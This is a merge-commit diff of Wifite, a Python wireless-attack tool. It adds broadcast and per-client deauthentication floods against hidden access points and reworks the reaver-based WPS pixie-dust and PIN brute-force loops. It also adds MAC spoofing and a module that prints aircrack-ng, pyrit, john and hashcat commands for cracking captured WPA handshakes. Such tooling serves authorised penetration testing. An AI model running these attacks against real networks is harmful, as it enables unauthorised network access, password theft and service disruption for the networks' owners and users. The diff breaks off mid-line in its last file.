Merge branch 'master' into master

This commit is contained in:
derv
2017-05-27 04:00:04 -07:00
committed by GitHub
23 changed files with 962 additions and 270 deletions

View File

@@ -108,7 +108,7 @@ class Aireplay(object):
Configuration.initialize()
if Configuration.interface == None:
raise Exception("Wireless interface must be defined (-i)")
cmd = ['aireplay-ng']
cmd.append('--ignore-negative-one')
@@ -231,7 +231,7 @@ class Aireplay(object):
if __name__ == '__main__':
t = WEPAttackType(4)
print t.name, type(t.name), t.value
print t.name, type(t.name), t.value
t = WEPAttackType('caffelatte')
print t.name, type(t.name), t.value

View File

@@ -7,7 +7,7 @@ from Target import Target
from Client import Client
from Wash import Wash
import os
import os, time
class Airodump(object):
''' Wrapper around airodump-ng program '''
@@ -42,6 +42,11 @@ class Airodump(object):
self.ivs_only = ivs_only
self.skip_wash = skip_wash
# For tracking decloaked APs (previously were hidden)
self.decloaking = False
self.decloaked_targets = []
self.decloaked_times = {} # Map of BSSID(str) -> epoch(int) of last deauth
def __enter__(self):
'''
@@ -58,12 +63,13 @@ class Airodump(object):
'airodump-ng',
self.interface,
'-a', # Only show associated clients
'-w', self.csv_file_prefix # Output file prefix
'-w', self.csv_file_prefix, # Output file prefix
'--write-interval', '1' # Write every second
]
if self.channel:
command.extend(['-c', str(self.channel)])
elif self.five_ghz:
command.extend(['--band', 'abg'])
command.extend(['--band', 'a'])
if self.encryption:
command.extend(['--enc', self.encryption])
@@ -145,7 +151,15 @@ class Airodump(object):
# Sort by power
targets.sort(key=lambda x: x.power, reverse=True)
for old_target in self.targets:
for new_target in targets:
if old_target.bssid != new_target.bssid: continue
if new_target.essid_known and not old_target.essid_known:
# We decloaked a target!
self.decloaked_targets.append(new_target)
self.targets = targets
self.deauth_hidden_targets()
return self.targets
@@ -200,11 +214,11 @@ class Airodump(object):
if target.essid_len == 0:
# Ignore empty/blank ESSIDs
continue
pass
if target.channel == "-1":
# Ignore -1 channel
continue
pass
targets.append(target)
return targets
@@ -239,6 +253,41 @@ class Airodump(object):
i += 1
return result
def deauth_hidden_targets(self):
'''
Sends deauths (to broadcast and to each client) for all
targets (APs) that have unknown ESSIDs (hidden router names).
'''
self.decloaking = False
# Only deauth if channel is fixed.
if self.channel is None: return
# Reusable deauth command
deauth_cmd = [
'aireplay-ng',
'-0', # Deauthentication
'1', # Number of deauths to perform.
'--ignore-negative-one'
]
for target in self.targets:
if target.essid_known: continue
now = int(time.time())
secs_since_decloak = now - self.decloaked_times.get(target.bssid, 0)
# Decloak every AP once every 30 seconds
if secs_since_decloak < 30: continue
self.decloaking = True
self.decloaked_times[target.bssid] = now
if Configuration.verbose > 1:
from Color import Color
verbout = " [?] Deauthing %s" % target.bssid
verbout += " (broadcast & %d clients)" % len(target.clients)
Color.pe("\n{C}" + verbout + "{W}")
# Deauth broadcast
iface = Configuration.interface
Process(deauth_cmd + ['-a', target.bssid, iface])
# Deauth clients
for client in target.clients:
Process(deauth_cmd + ['-c', client.bssid, iface])
if __name__ == '__main__':
''' Example usage. wlan0mon should be in Monitor Mode '''

View File

@@ -30,6 +30,11 @@ class Arguments(object):
type=int,
help=Color.s('Wireless channel to scan (default: {G}all channels{W})'))
glob.add_argument('--channel', help=argparse.SUPPRESS, action='store', dest='channel', type=int)
glob.add_argument('-mac',
'---random-mac',
action='store_true',
dest='random_mac',
help=Color.s('Randomize wireless card MAC address (default: {G}off{W})'))
glob.add_argument('-5',
'--5ghz',
action='store_true',
@@ -271,7 +276,10 @@ class Arguments(object):
dest='check_handshake',
help=Color.s('Check a .cap file (or all hs/*.cap files) for WPA handshakes'))
commands.add_argument('-check', help=argparse.SUPPRESS, action='store', nargs='?', const='<all>', dest='check_handshake')
commands.add_argument('--crack',
action='store_true',
dest='crack_handshake',
help=Color.s('Show commands to crack a captured handshake'))
return parser.parse_args()
if __name__ == '__main__':

View File

@@ -15,7 +15,7 @@ class Attack(object):
def run(self):
raise Exception("Unimplemented method: run")
def wait_for_target(self, airodump):
'''
Waits for target to appear in airodump

View File

@@ -77,8 +77,8 @@ class AttackWEP(Attack):
while True:
airodump_target = self.wait_for_target(airodump)
Color.p('\r{+} running {C}%s{W} WEP attack ({G}%d IVs{W}) '
% (attack_name, airodump_target.ivs))
Color.pattack("WEP", airodump_target, "%s attack" % attack_name, "%d IVs" % airodump_target.ivs)
#Color.p('\r{+} running {C}%s{W} WEP attack ({G}%d IVs{W}) ' % (attack_name, airodump_target.ivs))
# Check if we cracked it.
if aircrack and aircrack.is_cracked():
@@ -219,8 +219,7 @@ class AttackWEP(Attack):
attacks_remaining = Configuration.wep_attacks[attack_index + 1:]
Color.pl("{+} {G}%d{W} attacks remain ({C}%s{W})" % (len(attacks_remaining), ', '.join(attacks_remaining)))
prompt = Color.s('{+} type {G}c{W} to {G}continue{W}' +
' or {R}s{W} to {R}stop{W}: ')
prompt = Color.s('{+} type {G}c{W} to {G}continue{W} or {R}s{W} to {R}stop{W}: ')
if raw_input(prompt).lower().startswith('s'):
return False
else:

View File

@@ -34,12 +34,10 @@ class AttackWPA(Attack):
# First, start Airodump process
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
skip_wash=True,
output_file_prefix='wpa') as airodump:
Color.clear_line()
Color.p('\r{+} {C}WPA-handshake attack{W}: ')
Color.p('{O}waiting{W} for target to appear...')
Color.clear_entire_line()
Color.pattack("WPA", self.target, "Handshake capture", "Waiting for target to appear...")
airodump_target = self.wait_for_target(airodump)
# Get client station MAC addresses
@@ -55,9 +53,10 @@ class AttackWPA(Attack):
while True:
if not deauth_proc or deauth_proc.poll() != None:
# Clear line only if we're not deauthing right now
Color.p('\r%s\r' % (' ' * 90))
Color.p('\r{+} {C}WPA-handshake attack{W}: ')
Color.p('waiting for {C}handshake{W}...')
Color.clear_entire_line()
Color.pattack("WPA", airodump_target, "Handshake capture", "Waiting for handshake...")
#Color.p('\r{+} {C}WPA-handshake attack{W}: ')
#Color.p('waiting for {C}handshake{W}...')
time.sleep(1)
@@ -97,8 +96,8 @@ class AttackWPA(Attack):
airodump_target = self.wait_for_target(airodump)
for client in airodump_target.clients:
if client.station not in clients:
Color.pl('\r{+} discovered {G}client{W}:' +
' {C}%s{W}%s' % (client.station, ' ' * 10))
Color.clear_entire_line()
Color.pl('\r{+} discovered new {G}client{W}: {C}%s{W}' % client.station)
clients.append(client.station)
# Send deauth to a client or broadcast

View File

@@ -2,6 +2,7 @@
# -*- coding: utf-8 -*-
from Attack import Attack
from Airodump import Airodump
from Color import Color
from Configuration import Configuration
from CrackResultWPS import CrackResultWPS
@@ -37,7 +38,7 @@ class AttackWPS(Attack):
' support the {O}WPS pixie-dust attack{W}')
if Configuration.pixie_only:
Color.pl('{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}')
Color.pl('\r{!} {O}--pixie{R} set, ignoring WPS-PIN attack{W}')
self.success = False
else:
# Run WPS-PIN attack
@@ -58,113 +59,127 @@ class AttackWPS(Attack):
command = [
'reaver',
'-i', Configuration.interface,
'-b', self.target.bssid,
'-c', self.target.channel,
'-K', '1', # pixie-dust attack
'-a', # Automatically restart session
'--interface', Configuration.interface,
'--bssid', self.target.bssid,
'--channel', self.target.channel,
'--pixie-dust', '1', # pixie-dust attack
'--delay', '0',
'--no-nacks',
'--session', '/dev/null', # Don't restart session
'-vv' # (very) verbose
]
stdout_write = open(self.stdout_file, 'a')
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
pin = None
step = '0) initializing'
step = 'initializing'
time_since_last_step = 0
while True:
time.sleep(1)
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
skip_wash=False,
output_file_prefix='pixie') as airodump:
Color.clear_line()
Color.p('\r{+} {C}WPS pixie-dust attack{W} ')
Color.pattack("WPS", self.target, "Pixie Dust", "Waiting for target to appear...")
stdout_write.flush()
# Check output from reaver process
stdout = self.get_stdout()
stdout_last_line = stdout.split('\n')[-1]
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
# Check if we cracked it, or if process stopped.
if (pin and psk and ssid) or reaver.poll() != None:
reaver.interrupt()
# Check one-last-time for PIN/PSK/SSID, in case of race condition.
stdout = self.get_stdout()
(pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)
# Check if we cracked it.
if pin and psk and ssid:
# We cracked it.
bssid = self.target.bssid
Color.pl('\n\n{+} {G}successfully cracked WPS PIN and PSK{W}\n')
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
self.crack_result.dump()
return True
else:
# Failed to crack, reaver proces ended.
Color.pl('{R}failed: {O}WPS pin not found{W}')
while True:
try:
airodump_target = self.wait_for_target(airodump)
except Exception as e:
Color.pattack("WPS", self.target, "Pixie-Dust", "{R}failed: {O}%s{W}" % e)
Color.pl("")
return False
last_step = step
# Status updates, depending on last line of stdout
if 'Waiting for beacon from' in stdout_last_line:
step = '({C}step 1/8{W}) waiting for beacon'
elif 'Associated with' in stdout_last_line:
step = '({C}step 2/8{W}) waiting to start session'
elif 'Starting Cracking Session.' in stdout_last_line:
step = '({C}step 3/8{W}) waiting to try pin'
elif 'Trying pin' in stdout_last_line:
step = '({C}step 4/8{W}) trying pin'
elif 'Sending EAPOL START request' in stdout_last_line:
step = '({C}step 5/8{W}) sending eapol start request'
elif 'Sending identity response' in stdout_last_line:
step = '({C}step 6/8{W}) sending identity response'
elif 'Sending M2 message' in stdout_last_line:
step = '({C}step 7/8{W}) sending m2 message (may take a while)'
elif 'Detected AP rate limiting,' in stdout_last_line:
if Configuration.wps_skip_rate_limit:
Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' +
' this kind of failure in the future{W}')
stdout_write.flush()
# Check output from reaver process
stdout = self.get_stdout()
stdout_last_line = stdout.split('\n')[-1]
(pin, psk, ssid) = self.get_pin_psk_ssid(stdout)
# Check if we cracked it, or if process stopped.
if (pin and psk and ssid) or reaver.poll() != None:
reaver.interrupt()
# Check one-last-time for PIN/PSK/SSID, in case of race condition.
stdout = self.get_stdout()
(pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(stdout)
# Check if we cracked it.
if pin and psk and ssid:
# We cracked it.
bssid = self.target.bssid
Color.clear_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{G}successfully cracked WPS PIN and PSK{W}\n")
self.crack_result = CrackResultWPS(bssid, ssid, pin, psk)
self.crack_result.dump()
return True
else:
# Failed to crack, reaver proces ended.
Color.clear_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", "{R}Failed: {O}WPS PIN not found{W}\n")
return False
if 'WPS pin not found' in stdout:
Color.pl('{R}failed: {O}WPS pin not found{W}')
break
step = '({C}step -/8{W}) waiting for AP rate limit'
if 'WPS pin not found' in stdout:
Color.pl('{R}failed: {O}WPS pin not found{W}')
break
last_step = step
# Status updates, depending on last line of stdout
if 'Waiting for beacon from' in stdout_last_line:
step = '({C}step 1/8{W}) waiting for beacon'
elif 'Associated with' in stdout_last_line:
step = '({C}step 2/8{W}) waiting to start session'
elif 'Starting Cracking Session.' in stdout_last_line:
step = '({C}step 3/8{W}) waiting to try pin'
elif 'Trying pin' in stdout_last_line:
step = '({C}step 4/8{W}) trying pin'
elif 'Sending EAPOL START request' in stdout_last_line:
step = '({C}step 5/8{W}) sending eapol start request'
elif 'Sending identity response' in stdout_last_line:
step = '({C}step 6/8{W}) sending identity response'
elif 'Sending M2 message' in stdout_last_line:
step = '({C}step 7/8{W}) sending m2 message (may take a while)'
elif 'Detected AP rate limiting,' in stdout_last_line:
if Configuration.wps_skip_rate_limit:
Color.pl('{R}failed: {O}hit WPS rate-limit{W}')
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
' this kind of failure in the future{W}')
break
step = '({C}step -/8{W}) waiting for AP rate limit'
if step != last_step:
# Step changed, reset step timer
time_since_last_step = 0
else:
time_since_last_step += 1
if step != last_step:
# Step changed, reset step timer
time_since_last_step = 0
else:
time_since_last_step += 1
if time_since_last_step > Configuration.wps_pixie_step_timeout:
Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout)
break
if time_since_last_step > Configuration.wps_pixie_step_timeout:
Color.pl('{R}failed: {O}step-timeout after %d seconds{W}' % Configuration.wps_pixie_step_timeout)
break
# TODO: Timeout check
if reaver.running_time() > Configuration.wps_pixie_timeout:
Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
break
# TODO: Timeout check
if reaver.running_time() > Configuration.wps_pixie_timeout:
Color.pl('{R}failed: {O}timeout after %d seconds{W}' % Configuration.wps_pixie_timeout)
break
# Reaver Failure/Timeout check
fail_count = stdout.count('WPS transaction failed')
if fail_count > Configuration.wps_fail_threshold:
Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count)
break
timeout_count = stdout.count('Receive timeout occurred')
if timeout_count > Configuration.wps_timeout_threshold:
Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
break
# Reaver Failure/Timeout check
fail_count = stdout.count('WPS transaction failed')
if fail_count > Configuration.wps_fail_threshold:
Color.pl('{R}failed: {O}too many failures (%d){W}' % fail_count)
break
timeout_count = stdout.count('Receive timeout occurred')
if timeout_count > Configuration.wps_timeout_threshold:
Color.pl('{R}failed: {O}too many timeouts (%d){W}' % timeout_count)
break
# Display status of Pixie-Dust attack
Color.p('{W}%s{W}' % step)
Color.clear_line()
Color.pattack("WPS", airodump_target, "Pixie-Dust", step)
continue
time.sleep(1)
continue
# Attack failed, already printed reason why
reaver.interrupt()
@@ -182,10 +197,10 @@ class AttackWPS(Attack):
# Start reaver process
command = [
'reaver',
'-i', Configuration.interface,
'-b', self.target.bssid,
'-c', self.target.channel,
'-a', # Automatically restart session
'--interface', Configuration.interface,
'--bssid', self.target.bssid,
'--channel', self.target.channel,
'--session', '/dev/null', # Don't restart session
'-vv' # verbose
]
reaver = Process(command, stdout=stdout_write, stderr=Process.devnull())
@@ -197,141 +212,155 @@ class AttackWPS(Attack):
failures = 0
state = 'initializing'
while True:
time.sleep(1)
percent = 100 * float(pin_current) / float(pin_total)
with Airodump(channel=self.target.channel,
target_bssid=self.target.bssid,
skip_wash=False,
output_file_prefix='wps') as airodump:
Color.clear_line()
Color.p('\r{+} {C}WPS PIN attack{W} (')
Color.p('{G}%.2f%% done{W}, ' % percent)
Color.p('{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total))
Color.p('{R}%d/%d failures{W}) ' % (failures, \
Configuration.wps_fail_threshold))
Color.pattack("WPS", self.target, "PIN Attack", "Waiting for target to appear...")
if failures >= Configuration.wps_fail_threshold:
Color.pl('{R}failed: {O}too many failures{W}')
break
while True:
try:
airodump_target = self.wait_for_target(airodump)
except Exception as e:
Color.pattack("WPS", self.target, "PIN Attack", "{R}failed: {O}%s{W}" % e)
Color.pl("")
return False
time.sleep(1)
percent = 100 * float(pin_current) / float(pin_total)
Color.clear_line()
status = '{G}%.2f%% done{W}, ' % percent
status += '{G}%d{W}/{G}%d pins{W}, ' % (pin_current, pin_total)
status += '{R}%d/%d failures{W}' % (failures, Configuration.wps_fail_threshold)
Color.pattack("WPS", airodump_target, "PIN Attack", status)
# Get output
out = self.get_stdout()
# Clear output file
f = open(self.stdout_file, 'w')
f.write('')
f.close()
# CHECK FOR CRACK
(pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out)
if pin and psk and ssid:
# We cracked it.
self.success = True
Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n')
self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)
self.crack_result.dump()
break
# PIN PROGRESS
# Reaver 1.5.*
match = None
for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out):
# Look at last entry for "Pin count advanced" to get latest pin count
pass
if match:
# Reset failures on successful try
failures = 0
groups = match.groups()
pin_current = int(groups[0])
pin_total = int(groups[1])
# Reaver 1.3, 1.4
match = None
for match in re.finditer('Trying pin (\d+)', out):
if match:
pin = int(match.groups()[0])
if pin not in pins:
# Reset failures on successful try
failures = 0
pins.add(pin)
pin_current += 1
# Failures
if 'WPS transaction failed' in out:
failures += out.count('WPS transaction failed')
elif 'Receive timeout occurred' in out:
# Reaver 1.4
failures += out.count('Receive timeout occurred')
# Status
if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}'
if 'Starting Cracking Session' in out: state = '{C}cracking{W}'
# Reaver 1.4
if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}'
if 'Detected AP rate limiting' in out:
state = '{R}rate-limited{W}'
if Configuration.wps_skip_rate_limit:
Color.pl(state)
Color.pl('{!} {R}hit rate limit, stopping{W}\n')
Color.pl('{!} {O}use {R}--skip-rate-limit{O} to ignore' +
' this kind of failure in the future{W}')
if failures >= Configuration.wps_fail_threshold:
Color.pattack("WPS", airodump_target, "PIN Attack", '{R}failed: {O}too many failures{W}')
Color.pl("")
break
if 'WARNING: Failed to associate with' in out:
# TODO: Fail after X association failures (instead of just one)
Color.pl('\n{!} {R}failed to associate with target, {O}stopping{W}')
break
# Get output
out = self.get_stdout()
match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out)
if match:
eta = match.groups()[0]
state = '{C}cracking, ETA: {G}%s{W}' % eta
# Clear output file
f = open(self.stdout_file, 'w')
f.write('')
f.close()
match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out)
if match:
eta = match.groups()[0]
state = '{C}cracking, ETA: {G}%s{W}' % eta
pins_left = int(match.groups()[1])
# CHECK FOR CRACK
# Divine pin_current & pin_total from this:
pin_current = 11000 - pins_left
(pin, psk, ssid) = AttackWPS.get_pin_psk_ssid(out)
if pin and psk and ssid:
# We cracked it.
self.success = True
Color.pl('\n{+} {G}successly cracked WPS PIN and PSK{W}\n')
self.crack_result = CrackResultWPS(self.target.bssid, ssid, pin, psk)
self.crack_result.dump()
break
# Check if process is still running
if reaver.pid.poll() != None:
Color.pl('{R}failed{W}')
Color.pl('{!} {R}reaver{O} quit unexpectedly{W}')
self.success = False
break
# Output the current state
Color.p(state)
# PIN PROGRESS
'''
[+] Waiting for beacon from AA:BB:CC:DD:EE:FF
[+] Associated with AA:BB:CC:DD:EE:FF (ESSID: <essid here>)
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
[+] Trying pin 12345670.
[+] Pin count advanced: 46. Max pin attempts: 11000
[!] WPS transaction failed (code: 0x02), re-trying last pin
[!] WPS transaction failed (code: 0x03), re-trying last pin
[!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445)
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: 25 successive start failures
[!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217)
[+] 0.55% complete. Elapsed time: 0d0h2m21s.
[+] Estimated Remaining time: 0d15h11m35s
# Reaver 1.5.*
match = None
for match in re.finditer('Pin count advanced: (\d+)\\. Max pin attempts: (\d+)', out):
# Look at last entry for "Pin count advanced" to get latest pin count
pass
if match:
# Reset failures on successful try
failures = 0
groups = match.groups()
pin_current = int(groups[0])
pin_total = int(groups[1])
[+] Pin cracked in 7 seconds
[+] WPS PIN: '12345678'
[+] WPA PSK: 'abcdefgh'
[+] AP SSID: 'Test Router'
# Reaver 1.3, 1.4
match = None
for match in re.finditer('Trying pin (\d+)', out):
if match:
pin = int(match.groups()[0])
if pin not in pins:
# Reset failures on successful try
failures = 0
pins.add(pin)
pin_current += 1
Reaver 1.4:
[+] Max time remaining at this rate: 18:19:36 (10996 pins left to try)
[!] WARNING: Receive timeout occurred
# Failures
if 'WPS transaction failed' in out:
failures += out.count('WPS transaction failed')
elif 'Receive timeout occurred' in out:
# Reaver 1.4
failures += out.count('Receive timeout occurred')
'''
# Status
if 'Waiting for beacon from' in out: state = '{O}waiting for beacon{W}'
if 'Starting Cracking Session' in out: state = '{C}cracking{W}'
# Reaver 1.4
if 'Trying pin' in out and 'cracking' not in state: state = '{C}cracking{W}'
if 'Detected AP rate limiting' in out:
state = '{R}rate-limited{W}'
if Configuration.wps_skip_rate_limit:
Color.pl(state)
Color.pl('{!} {R}hit rate limit, stopping{W}')
Color.pl('{!} {O}use {R}--ignore-ratelimit{O} to ignore' +
' this kind of failure in the future{W}')
break
if 'WARNING: Failed to associate with' in out:
# TODO: Fail after X association failures (instead of just one)
Color.pl('\n{!} {R}failed to associate with target, {O}stopping{W}')
break
match = re.search('Estimated Remaining time: ([a-zA-Z0-9]+)', out)
if match:
eta = match.groups()[0]
state = '{C}cracking, ETA: {G}%s{W}' % eta
match = re.search('Max time remaining at this rate: ([a-zA-Z0-9:]+)..([0-9]+) pins left to try', out)
if match:
eta = match.groups()[0]
state = '{C}cracking, ETA: {G}%s{W}' % eta
pins_left = int(match.groups()[1])
# Divine pin_current & pin_total from this:
pin_current = 11000 - pins_left
# Check if process is still running
if reaver.pid.poll() != None:
Color.pl('{R}failed{W}')
Color.pl('{!} {R}reaver{O} quit unexpectedly{W}')
self.success = False
break
# Output the current state
Color.p(state)
'''
[+] Waiting for beacon from AA:BB:CC:DD:EE:FF
[+] Associated with AA:BB:CC:DD:EE:FF (ESSID: <essid here>)
[+] Starting Cracking Session. Pin count: 0, Max pin attempts: 11000
[+] Trying pin 12345670.
[+] Pin count advanced: 46. Max pin attempts: 11000
[!] WPS transaction failed (code: 0x02), re-trying last pin
[!] WPS transaction failed (code: 0x03), re-trying last pin
[!] WARNING: Failed to associate with 00:24:7B:AB:5C:EE (ESSID: myqwest0445)
[!] WARNING: Detected AP rate limiting, waiting 60 seconds before re-checking
[!] WARNING: 25 successive start failures
[!] WARNING: Failed to associate with B2:B2:DC:A1:35:94 (ESSID: CenturyLink2217)
[+] 0.55% complete. Elapsed time: 0d0h2m21s.
[+] Estimated Remaining time: 0d15h11m35s
[+] Pin cracked in 7 seconds
[+] WPS PIN: '12345678'
[+] WPA PSK: 'abcdefgh'
[+] AP SSID: 'Test Router'
Reaver 1.4:
[+] Max time remaining at this rate: 18:19:36 (10996 pins left to try)
[!] WARNING: Receive timeout occurred
'''
reaver.interrupt()

View File

@@ -21,7 +21,7 @@ class Color(object):
# Helper string replacements
replacements = {
'{+}': ' {W}[{G}+{W}]',
'{!}': ' {W}[{R}!{W}]'
'{!}': ' {O}[{R}!{O}]{W}'
}
last_sameline_length = 0
@@ -74,6 +74,24 @@ class Color(object):
sys.stdout.flush()
Color.last_sameline_length = 0
@staticmethod
def clear_entire_line():
import os
(rows, columns) = os.popen('stty size', 'r').read().split()
Color.p("\r" + (" " * int(columns)) + "\r")
@staticmethod
def pattack(attack_type, target, attack_name, progress):
'''
Prints a one-liner for an attack
Includes attack type (WEP/WPA), target BSSID/ESSID & power, attack type, and progress
[name] ESSID (MAC @ Pwr) Attack_Type: Progress
e.g.: [WEP] Router2G (00:11:22 @ 23db) replay attack: 102 IVs
'''
essid = "{C}%s{W}" % target.essid if target.essid_known else "{O}unknown{W}"
Color.p("\r{+} {G}%s{W} ({C}%s @ %sdb{W}) {G}%s {C}%s{W}: %s " % (
essid, target.bssid, target.power, attack_type, attack_name, progress))
if __name__ == '__main__':
Color.pl("{R}Testing{G}One{C}Two{P}Three{W}Done")
print Color.s("{C}Testing{P}String{W}")

View File

@@ -2,11 +2,13 @@
# -*- coding: utf-8 -*-
from Color import Color
from Macchanger import Macchanger
import os
class Configuration(object):
''' Stores configuration variables and functions for Wifite. '''
verbose = 0
initialized = False # Flag indicating config has been initialized
temp_dir = None # Temporary directory
@@ -33,6 +35,7 @@ class Configuration(object):
Configuration.target_bssid = None # User-defined AP BSSID
Configuration.five_ghz = False # Scan 5Ghz channels
Configuration.pillage = False # "All" mode to attack everything
Configuration.random_mac = False
Configuration.encryption_filter = ['WEP', 'WPA', 'WPS']
@@ -59,7 +62,8 @@ class Configuration(object):
Configuration.wordlist = None
wordlists = [
'/usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
'/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt'
'/usr/share/fuzzdb/wordlists-user-passwd/passwds/phpbb.txt',
'/usr/share/wordlists/fern-wifi/common.txt'
]
for wlist in wordlists:
if os.path.exists(wlist):
@@ -82,6 +86,7 @@ class Configuration(object):
# Commands
Configuration.show_cracked = False
Configuration.check_handshake = None
Configuration.crack_handshake = False
# Overwrite config values with arguments (if defined)
Configuration.load_from_arguments()
@@ -96,6 +101,8 @@ class Configuration(object):
# Interface wasn't defined, select it!
from Airmon import Airmon
Configuration.interface = Airmon.ask()
if Configuration.random_mac:
Macchanger.random()
@staticmethod
@@ -104,6 +111,9 @@ class Configuration(object):
from Arguments import Arguments
args = Arguments(Configuration).args
if args.random_mac:
Configuration.random_mac = True
Color.pl('{+} {C}option:{W} using {G}random mac address{W} when scanning & attacking')
if args.channel:
Configuration.target_channel = args.channel
Color.pl('{+} {C}option:{W} scanning for targets on channel {G}%s{W}' % args.channel)
@@ -242,8 +252,9 @@ class Configuration(object):
% '{W}, {G}'.join(Configuration.wep_attacks))
# Commands
if args.cracked: Configuration.show_cracked = True
if args.cracked: Configuration.show_cracked = True
if args.check_handshake: Configuration.check_handshake = args.check_handshake
if args.crack_handshake: Configuration.crack_handshake = True
@staticmethod
@@ -276,6 +287,7 @@ class Configuration(object):
def exit_gracefully(code=0):
''' Deletes temp and exist with the given code '''
Configuration.delete_temp()
Macchanger.reset_if_changed()
from Airmon import Airmon
Airmon.stop(Configuration.interface)
Airmon.put_interfaces_up()

90
py/CrackHandshake.py Normal file
View File

@@ -0,0 +1,90 @@
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from Process import Process
from Color import Color
from Configuration import Configuration
from CrackResult import CrackResult
from datetime import datetime
import os
class CrackHandshake(object):
def __init__(self):
self.wordlist = Configuration.wordlist or "path_to_wordlist_here"
handshake = self.choose_handshake()
self.crack_handshake(handshake)
def crack_handshake(self, handshake):
cap_file = os.path.realpath(handshake["handshake_file"])
Color.pl("{+} Different ways to crack {C}%s{W}:" % cap_file)
self.print_aircrack(cap_file)
self.print_pyrit(cap_file)
self.print_john(cap_file)
self.print_oclhashcat(cap_file)
Color.pl("")
# TODO: cowpatty, oclhashcat
def print_aircrack(self, cap_file):
if not Process.exists("aircrack-ng"): return
Color.pl("\n {O}# AIRCRACK: CPU-based cracking. Slow.")
Color.pl(" {G}aircrack-ng {W}-a 2 -w {C}%s %s{W}" % (self.wordlist, cap_file))
def print_pyrit(self, cap_file):
if not Process.exists("pyrit"): return
Color.pl("\n {O}# PYRIT: GPU-based cracking. Fast.")
Color.pl(" {G}pyrit {W}-i {C}%s {W}-r {C}%s {W}attack_passthrough{W}" % (self.wordlist, cap_file))
def print_john(self, cap_file):
if not Process.exists("pyrit"): return
Color.pl("\n {O}# JOHN: CPU or GPU-based cracking. Fast.")
Color.pl(" {O}# Use --format=wpapsk-cuda (or wpapsk-opengl) to enable GPU acceleration")
Color.pl(" {O}# See http://openwall.info/wiki/john/WPA-PSK for more info on this process")
Color.pl(" {G}aircrack-ng {W}-J hccap {C}%s{W}" % cap_file)
Color.pl(" {G}hccap2john {W}hccap.hccap > hccap.john{W}")
Color.pl(" {G}john {W}--wordlist {C}\"%s\" {W}--format=wpapsk {C}\"hccap.john\"{W}" % (self.wordlist))
def print_oclhashcat(self, cap_file):
if not Process.exists("hashcat"): return
Color.pl("\n {O}# OCLHASHCAT: GPU-based cracking. Fast.")
# TODO: Generate hccapx automatically
hccapx_file = "generated.hccapx" #cap_file
Color.pl(" {O}# Visit https://hashcat.net/cap2hccapx to generate a .hccapx file{W}")
Color.pl(" {G}hashcat {W}-m 2500 {C}%s %s{W}" % (self.wordlist, hccapx_file))
def choose_handshake(self):
Color.pl("\n{+} Listing captured handshakes...\n")
handshakes = CrackResult.load_all()
handshakes = [hs for hs in handshakes if "handshake_file" in hs and os.path.exists(hs["handshake_file"])]
if len(handshakes) == 0:
raise Exception("No handshakes found in %s" % os.path.realpath(CrackResult.cracked_file))
# Handshakes Header
max_essid_len = max([len(hs["essid"]) for hs in handshakes])
Color.p(" NUM")
Color.p(" " + "ESSID".ljust(max_essid_len))
Color.p(" " + "BSSID".ljust(17))
Color.p(" DATE CAPTURED\n")
Color.p(" ---")
Color.p(" " + ("-" * max_essid_len))
Color.p(" " + ("-" * 17))
Color.p(" " + ("-" * 19) + "\n")
# Print all handshakes
for index, hs in enumerate(handshakes):
bssid = hs["bssid"]
essid = hs["essid"]
date = datetime.strftime(datetime.fromtimestamp(hs["date"]), "%Y-%m-%dT%H:%M:%S")
Color.p(" {G}%s{W}" % str(index + 1).rjust(3))
Color.p(" {C}%s{W}" % essid.ljust(max_essid_len))
Color.p(" {C}%s{W}" % bssid)
Color.p(" {C}%s{W}\n" % date)
# Get number from user
hs_index = raw_input(Color.s("\n{+} Select handshake num to crack ({G}1-%d{W}): " % len(handshakes)))
if not hs_index.isdigit():
raise Exception("Invalid input: %s" % hs_index)
hs_index = int(hs_index)
if hs_index < 1 or hs_index > len(handshakes):
raise Exception("Handshake num must be between 1 and %d" % len(handshakes))
return handshakes[hs_index - 1]

View File

@@ -41,6 +41,13 @@ class CrackResult(object):
Color.pl('{+} saved crack result to {C}%s{W} ({G}%d total{W})'
% (name, len(json)))
@classmethod
def load_all(cls):
if not os.path.exists(cls.cracked_file): return []
with open(cls.cracked_file, "r") as json_file:
json = loads(json_file.read())
return json
@staticmethod
def load(json):
''' Returns an instance of the appropriate object given a json instance '''

View File

@@ -90,22 +90,24 @@ class Handshake(object):
cmd = [
'tshark',
'-r', self.capfile,
'-R', 'wlan.fc.type_subtype == 0x08',
